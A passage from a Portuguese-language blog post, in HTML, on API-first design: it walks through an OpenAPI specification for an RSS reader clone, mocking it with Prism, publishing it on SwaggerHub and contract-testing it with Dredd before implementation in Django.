    &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;&quot;200&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; List of articles
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; array
                &lt;span class=&quot;token key atrule&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#/components/schemas/Article&quot;&lt;/span&gt;

  /articles/&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#/components/parameters/id&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Details of an article
    &lt;span class=&quot;token key atrule&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;responses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;&quot;200&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Article detail response
          &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;$ref&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;#/components/schemas/Article&quot;&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;components&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; id
      &lt;span class=&quot;token key atrule&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; path
      &lt;span class=&quot;token key atrule&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; integer
  &lt;span class=&quot;token key atrule&quot;&gt;schemas&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;Channel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; integer
        &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string

    &lt;span class=&quot;token key atrule&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; integer
        &lt;span class=&quot;token key atrule&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;pub_date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;channel&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string
        &lt;span class=&quot;token key atrule&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; string&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O artigo &lt;a href=&quot;/2018/03/15/swagger-na-pratica.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;Swagger na prática&quot;&lt;/a&gt; pode ser de ajuda caso você não esteja familiarizado com a
síntaxe acima.&lt;/p&gt;
&lt;h3&gt;Projete&lt;/h3&gt;
&lt;p&gt;A partir daqui podemos pensar sob a ótica de casos de uso.
&lt;a href=&quot;/2020/01/07/software-design-software-architecture.html&quot; title=&quot;Software Design x Software Architecture&quot;&gt;Práticas e ferramentas podem variar&lt;/a&gt;
dependendo da sua criatividade e do seu time. Para fins didáticos vamos manter esse passo o mais simples possível.&lt;/p&gt;
&lt;p&gt;Para início de conversa o &lt;em&gt;path&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;articles/&lt;/code&gt; não está alinhado o suficiente com a semântica por trás do problema. O formato &lt;em&gt;RSS&lt;/em&gt; chama o que estamos chamando de &lt;code class=&quot;language-text&quot;&gt;Article&lt;/code&gt; de &lt;code class=&quot;language-text&quot;&gt;Item&lt;/code&gt;, logo,
se quisermos manter uma linguagem ubíqua é fundamental renomearmos esse elemento.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4e027daa42357f668194d325afbcf154/b4294/deathstar.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 52.60416666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQADBP/EABYBAQEBAAAAAAAAAAAAAAAAAAIBA//aAAwDAQACEAMQAAABL7idqX4eWf8A/8QAGRAAAwADAAAAAAAAAAAAAAAAAAECAxET/9oACAEBAAEFAsThPtJD2iR0z//EABYRAAMAAAAAAAAAAAAAAAAAAAIQMf/aAAgBAwEBPwEov//EABURAQEAAAAAAAAAAAAAAAAAAAEQ/9oACAECAQE/ASf/xAAbEAACAgMBAAAAAAAAAAAAAAAAAgERECEiMf/aAAgBAQAGPwLpbIVdQXn0/8QAFxABAQEBAAAAAAAAAAAAAAAAAQAxEf/aAAgBAQABPyFRUQDw0g6HWNsdujV//9oADAMBAAIAAwAAABDz/wD/xAAWEQEBAQAAAAAAAAAAAAAAAAAAATH/2gAIAQMBAT8Q0SP/xAAVEQEBAAAAAAAAAAAAAAAAAAAQMf/aAAgBAgEBPxCj/8QAGRABAAMBAQAAAAAAAAAAAAAAAQAhMRFB/9oACAEBAAE/EERA1XKJuRwHBYnQLObGiJVDX2F4AAMZ/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Projetar é uma arte, desconhecida pelo Império (movieweb.com)&quot;
        title=&quot;Projetar é uma arte, desconhecida pelo Império (movieweb.com)&quot;
        src=&quot;/static/4e027daa42357f668194d325afbcf154/b4294/deathstar.jpg&quot;
        srcset=&quot;/static/4e027daa42357f668194d325afbcf154/7809d/deathstar.jpg 192w,
/static/4e027daa42357f668194d325afbcf154/4ecad/deathstar.jpg 384w,
/static/4e027daa42357f668194d325afbcf154/b4294/deathstar.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Projetar é uma arte, desconhecida pelo Império (movieweb.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Outro ponto de controvérsia em nosso esboço é que o recurso &lt;code class=&quot;language-text&quot;&gt;articles/&lt;/code&gt; poderia ser um &lt;em&gt;nested resource&lt;/em&gt; de &lt;code class=&quot;language-text&quot;&gt;channels/{id}/&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;channels/{id}&lt;/code&gt;: Detalhes do &lt;em&gt;channel&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;channels/{id}/items&lt;/code&gt;: Lista de &lt;em&gt;items&lt;/em&gt; daquele &lt;em&gt;channel&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;channels/{channel-id}/items/{item-id}&lt;/code&gt;: Detalhes do &lt;em&gt;item&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Digamos que após consultar os &lt;em&gt;stakeholders&lt;/em&gt; de &lt;em&gt;mobile&lt;/em&gt; e &lt;em&gt;web&lt;/em&gt;, eles concordem com a alteração. É exatamente esse tipo
de questionamento que esse passo deve trazer, além de instigar a discussão com demais interessados.&lt;/p&gt;
&lt;p&gt;Por último, mas não menos importante, vamos supor que nossos possíveis clientes não estejam propensos a mostrar
o conteúdo completo dos artigos em sua listagem. Logo, eles estariam fazendo &quot;over-fetching&quot; de informação. Podemos
remover esse campo (&lt;code class=&quot;language-text&quot;&gt;content&lt;/code&gt;) de &lt;code class=&quot;language-text&quot;&gt;channels/{id}/items/{id}&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;A especificação final você pode &lt;a href=&quot;https://gist.github.com/kplaube/d9c16eec70895349c48f9e8ec9e3e5be&quot; title=&quot;Veja mais no Gist&quot;&gt;conferir aqui&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;Antes de ir: Over-fetching e Under-fetching&lt;/h4&gt;
&lt;p&gt;&lt;em&gt;Over-fetching&lt;/em&gt; (trazer mais conteúdo do que o necessário em um &lt;em&gt;request&lt;/em&gt;) e &lt;em&gt;under-fetching&lt;/em&gt; (trazer menos conteúdo do
que o necessário) são problemas comuns em &lt;em&gt;APIs&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt; que possuem pluralidade de clientes.&lt;/p&gt;
&lt;p&gt;Soluções variam, das mais ingênuas (criar um &lt;em&gt;endpoint&lt;/em&gt; para &lt;em&gt;mobile&lt;/em&gt; e um para &lt;em&gt;web&lt;/em&gt;, por exemplo) até as mais rebuscadas
(como deixar o &lt;em&gt;REST&lt;/em&gt; de lado e adotar &lt;em&gt;GraphQL&lt;/em&gt;). O &quot;meio-termo&quot; seria a adoção de algum mecanismo que permita ao cliente
especificar quais campos ele deseja carregar na requisição.&lt;/p&gt;
&lt;p&gt;E é exatamente isso que o &lt;a href=&quot;https://github.com/rsinger86/drf-flex-fields&quot; title=&quot;Veja o repositório no Github&quot;&gt;&lt;em&gt;FlexFields&lt;/em&gt;&lt;/a&gt; faz
para soluções escritas em &lt;em&gt;REST Framework&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Valide&lt;/h3&gt;
&lt;p&gt;É hora de validarmos o contrato.&lt;/p&gt;
&lt;p&gt;Poderíamos escrever &lt;em&gt;views&lt;/em&gt; muito simples em &lt;em&gt;Django&lt;/em&gt; (por exemplo) que atendam a especificação ao responder conteúdo estático. Mas possivelmente a melhor forma de executarmos esse passo seja através de ferramentas chamadas &lt;a href=&quot;https://openapi.tools/#mock&quot; title=&quot;Veja uma lista de mock servers&quot;&gt;&lt;em&gt;mock servers&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As opções são as mais variadas, em diferentes linguagens. A minha sugestão é o &lt;a href=&quot;https://github.com/stoplightio/prism&quot; title=&quot;Veja o repositório no Github&quot;&gt;&lt;em&gt;Prism&lt;/em&gt;&lt;/a&gt;,
uma ferramenta escrita em &lt;em&gt;Javascript&lt;/em&gt;, fácil de instalar e usar.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://stoplight.io/p/docs/gh/stoplightio/prism/docs/getting-started/01-installation.md?srn=gh/stoplightio/prism/docs/getting-started/01-installation.md&quot; title=&quot;Documentação oficial do Prism&quot;&gt;Veja como instalar o &lt;em&gt;Prism&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Executando o &lt;em&gt;Prism&lt;/em&gt; com a especificação passada como argumento, temos um servidor fornecendo o contrato via &lt;em&gt;REST&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ prism mock openapi.yml

› [CLI] …  awaiting  Starting Prism…
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels/869
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels/857/items
› [CLI] ℹ  info      GET        http://127.0.0.1:4010/channels/226/items/12
› [CLI] ▶  start     Prism is listening on http://127.0.0.1:4010

$ curl http://127.0.0.1:4010/channels/1/items/1

{&quot;id&quot;:1,&quot;title&quot;:&quot;Anthony Mackie fala sobre se tornar o Capitão América&quot;,&quot;pub_date&quot;:&quot;Sat, 29 Feb 2020 19:21:37 +0000&quot;,&quot;summary&quot;:&quot;Quero que o meu Capitão América represente todo mundo, não só um grupo específico de pessoas&quot;,&quot;image&quot;:&quot;https://uploads.jovemnerd.com.br/wp-content/uploads/2020/02/anthony-mackie-capitao-america.jpg&quot;,&quot;content&quot;:&quot;Conteúdo completo&quot;,&quot;url&quot;:&quot;https://jovemnerd.com.br/nerdbunker/anthony-mackie-fala-sobre-se-tornar-o-capitao-america/&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Isso permite que novas avaliações sejam realizadas, modificações aconteçam com antecedência, casos de uso sejam testados,
e até mesmo que outros &lt;em&gt;stakeholders&lt;/em&gt; comecem a desenvolver a parte deles sem precisar esperar pelo &lt;em&gt;backend&lt;/em&gt; todo estar pronto.&lt;/p&gt;
&lt;h2&gt;3: Oficialize a especificação&lt;/h2&gt;
&lt;p&gt;Nesse passo estruturamos o &lt;em&gt;release&lt;/em&gt; da especificação, gerenciamos o processo e futuras iterações, e (claro) versionamos o arquivo.&lt;/p&gt;
&lt;p&gt;Enquanto trabalhei na &lt;a href=&quot;https://loadsmart.com/&quot; title=&quot;Book a truck in seconds&quot;&gt;&lt;em&gt;Loadsmart&lt;/em&gt;&lt;/a&gt;, mantínhamos a especificação em um repositório &lt;em&gt;Git&lt;/em&gt; e tínhamos
um &lt;em&gt;build&lt;/em&gt; no &lt;em&gt;CI&lt;/em&gt; para publicar a documentação baseada na versão do arquivo que encontrava-se no &lt;code class=&quot;language-text&quot;&gt;master&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Possuímos várias opções para esse passo. Talvez o &lt;a href=&quot;https://github.com/Redocly/redoc&quot; title=&quot;Visite o repositório no Github&quot;&gt;&lt;em&gt;ReDoc&lt;/em&gt;&lt;/a&gt;
seja a ferramenta mais estilosa para gerar documentação a partir do &lt;em&gt;OpenAPI&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para fins didáticos vou usar a ferramenta do &lt;em&gt;Swagger&lt;/em&gt; e expor a documentação no
&lt;a href=&quot;https://swagger.io/tools/swagger-ui/&quot; title=&quot;Teste na nuvem&quot;&gt;&lt;em&gt;SwaggerHub&lt;/em&gt;&lt;/a&gt;: &lt;a href=&quot;https://app.swaggerhub.com/apis-docs/kplaube/feedly-clone/v1&quot;&gt;https://app.swaggerhub.com/apis-docs/kplaube/feedly-clone/v1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ddb96499d70516f24ee6d2c5389d5b70/50383/api-first-swagger-ui.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 37.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAABYlAAAWJQFJUiTwAAAAvElEQVQY05XPuQ6CQBCA4X1LlU4fwKMxFmhiQmn0SXwQrb0aLQSy4VKugT1gVqCyIjD5iinmL4ZMt/vx0tDm69F8PZzpXQxmurbYTFYGEUK6Pk0h5VyonkMY45Z34zIrS+wd/+3Y6Dj1JQFeXKw4YZIXiknsKJdFVRMzVrsTXs3IDoDGIsiVB9jOBQwyrL6s48O5vNvJi4ZPGlkf5iSll2ILN0UfmtgDdXzg28+cL9AP0C8EiQhzbBczRFQ/hiGwedbB1x0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Documentação publicada no Swagger UI&quot;
        title=&quot;Documentação publicada no Swagger UI&quot;
        src=&quot;/static/ddb96499d70516f24ee6d2c5389d5b70/50383/api-first-swagger-ui.png&quot;
        srcset=&quot;/static/ddb96499d70516f24ee6d2c5389d5b70/8514f/api-first-swagger-ui.png 192w,
/static/ddb96499d70516f24ee6d2c5389d5b70/804b2/api-first-swagger-ui.png 384w,
/static/ddb96499d70516f24ee6d2c5389d5b70/50383/api-first-swagger-ui.png 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Documentação publicada no Swagger UI&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;4: Teste&lt;/h2&gt;
&lt;p&gt;Teste sempre. Automatize sempre que possível.&lt;/p&gt;
&lt;p&gt;Nessa etapa validaremos e garantiremos o funcionamento do contrato. Casos de uso podem ser necessários para estressar
a coerência da &lt;em&gt;API&lt;/em&gt;. Particularmente, não acho que essa seja a camada mais interessante para testar coisas além do
contrato estabelecido (como por exemplo, a própria lógica de negócio). Pode tornar-se uma linha tênue em sua
&lt;a href=&quot;https://martinfowler.com/articles/practical-test-pyramid.html&quot; title=&quot;The Practical Test Pyramid&quot;&gt;pirâmide de testes&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;https://dredd.org/en/latest/quickstart.html&quot; title=&quot;Documentação do Dredd&quot;&gt;&lt;em&gt;Dredd&lt;/em&gt;&lt;/a&gt; é uma ferramenta bem interessante para testar
a especificação construída. Ela utiliza um servidor como alvo, portanto, podemos adicioná-la ao &lt;em&gt;build pipeline&lt;/em&gt;,
levantarmos o nosso serviço, e ela operará como uma espécie de &lt;em&gt;Component Test&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Executando contra o nosso servidor &lt;em&gt;mockado&lt;/em&gt;, tudo deveria funcionar &quot;out of the box&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ dredd ./openapi.yml http://127.0.0.1:4010

warn: API description parser warning in /Users/klaus/Desktop/openapi.yml:66 (from line 66 column 7 to column 13): &apos;Parameter Object&apos; contains unsupported key &apos;schema&apos;
warn: API description parser warning in /Users/klaus/Desktop/openapi.yml:73 (from line 73 column 7 to column 13): &apos;Parameter Object&apos; contains unsupported key &apos;schema&apos;
warn: API description parser warning in /Users/klaus/Desktop/openapi.yml:102 (from line 102 column 7 to column 12): &apos;Schema Object&apos; contains unsupported key &apos;allOf&apos;
pass: GET (200) /channels duration: 63ms
pass: GET (200) /channels/1 duration: 20ms
pass: GET (200) /channels/1/items duration: 14ms
pass: GET (200) /channels/1/items/1 duration: 11ms
complete: 4 passing, 0 failing, 0 errors, 0 skipped, 4 total
complete: Tests took 116ms&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Um outro extra muito interessante
é a &lt;a href=&quot;https://dredd.org/en/latest/hooks/python.html&quot; title=&quot;Leia mais na documentação do Dredd&quot;&gt;possibilidade de escrever &lt;em&gt;hooks&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, o que nos permite criar casos de uso de acordo com diferentes aspectos e contextos.&lt;/p&gt;
&lt;h2&gt;5: Implemente&lt;/h2&gt;
&lt;p&gt;Agora sim! Finalmente a parte divertida.&lt;/p&gt;
&lt;p&gt;Agora é correr para o &lt;em&gt;Django&lt;/em&gt; e implementar a &lt;em&gt;API&lt;/em&gt;. Se você estiver interessado no &lt;em&gt;Django REST Framework&lt;/em&gt;, escrevi sobre ele recentemente no &lt;a href=&quot;/2020/02/13/construindo-apis-em-django-com-django-rest-framework.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;Construindo APIs em Django com Django REST Framework&quot;&lt;/a&gt;. Não perca.&lt;/p&gt;
&lt;p&gt;Ao fim do desenvolvimento, não esqueça de executar o &lt;em&gt;Dredd&lt;/em&gt; apontando para o serviço &lt;em&gt;Django&lt;/em&gt;. Aliás, colocar essa checagem em um &lt;em&gt;CI&lt;/em&gt; é uma excelente ideia! Dependendo do seu &lt;em&gt;release train&lt;/em&gt;, a falha dessa checagem pode inclusive bloquear o seu
&lt;em&gt;Continuous Delivery&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;6: Opere e engage&lt;/h2&gt;
&lt;p&gt;A sua funcionalidade está pronta. O seu produto está documentado. Agora é hora de &quot;ir para a rua&quot;.&lt;/p&gt;
&lt;p&gt;Com essa ideia de &quot;uma &lt;em&gt;API&lt;/em&gt; para todos governar&quot;, fica mais fácil ser adepto da corrente do &quot;eat your own dog food&quot;. Tendo
outros times da sua própria organização como usuários fica mais fácil coletar &lt;em&gt;feedbacks&lt;/em&gt; e reiniciar todo o processo
descrito com novas demandas e possíveis correções.&lt;/p&gt;
&lt;p&gt;Para terceiros, é fundamental tratar a &lt;em&gt;API&lt;/em&gt; como parte do negócio, e ela (e sua documentação) precisa ter espaço de destaque no &lt;em&gt;website&lt;/em&gt; da sua empresa. O &lt;a href=&quot;https://www.twilio.com/&quot; title=&quot;Communication APIs for SMS, Voice and Video&quot;&gt;&lt;em&gt;Twillio&lt;/em&gt;&lt;/a&gt; faz isso
muito bem:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c8db147667ff9c0ef3f350067bc9cb50/50383/api-first-engage.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 26.5625%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAABYlAAAWJQFJUiTwAAABJ0lEQVQY0yXOO0vDUBjG8XwcP4uD4Oagm4O7IkVROgiVDkUUdBG8LSIVBCtesK1K6WgFoYKt1jQxjcfmpDm5nHteo8J//fE8Bu9b3LYl6P9EqhjnSUK1lKCkUKmIA2k/D+NhDFKRgf56JZLTbltfnBgexL+loa8JVoGvA8IihLw4oYxSDaAHbVqeP3YvK6NWar2xXisBiF5qeHPc8DTJJOK+iWxn5H6gPiZ+EIRSSi6EUilXrLK3UT09GKnIS6JPEYXAbhrNyYlpI5MYIof7j47ZxoMnZDm+F5KIc8EYAwAXuWfFpepOoWP1TOIePlyV766Dxu5CvvS3DPS738HLa3h1HS/mg/tmdprRzPIMW+Z7cW5qPzdbvz0PQeYKW2MrM7VevbR99AMPyQNmgnC7sAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
